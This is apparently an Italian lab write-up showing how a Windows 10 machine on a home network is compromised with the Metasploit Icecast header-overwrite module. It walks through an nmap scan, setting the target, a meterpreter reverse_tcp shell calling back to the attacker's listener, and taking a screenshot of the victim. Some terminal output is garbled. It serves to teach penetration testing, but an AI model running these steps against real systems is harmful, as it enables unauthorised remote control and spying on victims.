

Exploit IceCast

Introduzione:

Icecast è un software open-source progettato per creare server di streaming multimediale, utilizzato principalmente per trasmettere flussi audio su Internet. Particolarmente popolare per la creazione di stazioni radio online.

Pratica:

Inizialmente vediamo l'**IP** di Windows 10, e l'ho salviamo per poterlo utilizzare dopo in Metasploit:

```
Prompt dei comandi
                                                                                                      П
Configurazione IP di Windows
Scheda Ethernet Ethernet:
  Suffisso DNS specifico per connessione: Home
  Indirizzo IPv6 . . . . . . . . . . . . . . . . . . 2a0e:419:3357:0:2130:7abe:2b77:422c
  Indirizzo IPv6 . . . . . . . . . . . . . . . . . fdd7:21:9d01:8782:2130:7abe:2b77:422c
  Indirizzo IPv6 temporaneo. . . . . . . . . . . . . . . 2a0e:419:3357:0:15df:2dc6:7e71:19bc
  Indirizzo IPv6 temporaneo. . . . . . . . . : fdd7:21:9d01:8782:15df:2dc6:7e71:19bc
Indirizzo IPv6 locale rispetto al collegamento . : fe80::2130:7abe:2b77:422c%4
  Gateway predefinito . . . . . . . : fe80::6ea0:b4ff:fe28:8299%4
                                       192.168.0.1
Scheda Tunnel isatap.Home:
  Stato supporto. .
                     . . . . . . . . : Supporto disconnesso
  Suffisso DNS specifico per connessione: Home
Scheda Tunnel Teredo Tunneling Pseudo-Interface:
  Suffisso DNS specifico per connessione:
  Gateway predefinito . . . .
```

Successivamente scansioniamo le porte, per vedere se ci sono **porte vulnerabili** aperte:

```
-(kali⊛kali)-[~]
└$ nmap 192.168.0.167
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-14 06:57 EST
Nmap scan report for DESKTOP-9K104BT.Home (192.168.0.167)
Host is up (0.0000030s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT
        STATE SERVICE
7/tcp
        open echo
       open discard
9/tcp
13/tcp open daytime
17/tcp open gotd
19/tcp open chargen
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1801/tcp open msmq
2103/tcp open zephyr-clt
2105/tcp open eklogin
2107/tcp open msmq-mgmt
3389/tcp open ms-wbt-server
5432/tcp open postgresql

                                           Disclosure Date Rank
                                                                   Check Description
  0 exploit/windows/http/icecast_header 2004-09-28
                                                                          Icecast Header Overwrite
                                                            great No
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
msf6 > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
<u>msf6</u> exploit(
                                        ( )
```

Inseriamo in RHOSTS l'IP della macchina target:

```
msf6 exploit(w
                                        :) > show options
Module options (exploit/windows/http/icecast header):
           Current Setting Required Description
                                      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
   RHOSTS
                            ves
                                      sics/using-metasploit.html
   RPORT
           8000
                            yes
                                      The target port (TCP)
Payload options (windows/meterpreter/reverse_tcp):
   Name
             Current Setting Required Description
                                        Exit technique (Accepted: '', seh, thread, process, none)
   EXITFUNC thread
                              yes
   LHOST
             192.168.0.100
                              yes
                                        The listen address (an interface may be specified)
                                        The listen port
   LPORT
             4444
                              yes
Exploit target:
   Id Name
       Automatic
View the full module info with the info, or info -d command.
                           cecast header) > set rhosts 192.168.0.167
msf6 exploit(
rhosts ⇒ 192.168.0.167
msf6 exploit(
[*] Started reverse TCP handler on 192.168.0.100:4444
[*] Sending stage (176198 bytes) to 192.168.0.167
[*] Meterpreter session 1 opened (192.168.0.100:4444 → 192.168.0.167:49526) at 2024-11-14 08:16:32 -0500
meterpreter >
```

E una volta runnato, saremmo dentro **Windows 10**, e ne avremmo conferma comparando l'IP della macchina in cui abbiamo fatto accesso, e vedremo che sono uguali:

Per ottenere lo screenshot, non ricordandomi il comando posso digitare help:

Ed eseguo il comando:

```
For more info on a specific command, use <command> -h or help <command>.

meterpreter > screenshot
Screenshot saved to: /home/kali/HyBnVVKl.jpeg
meterpreter >
```

Una volta fatto lo screenshot, verrà salvato nella directory /home/kali/:
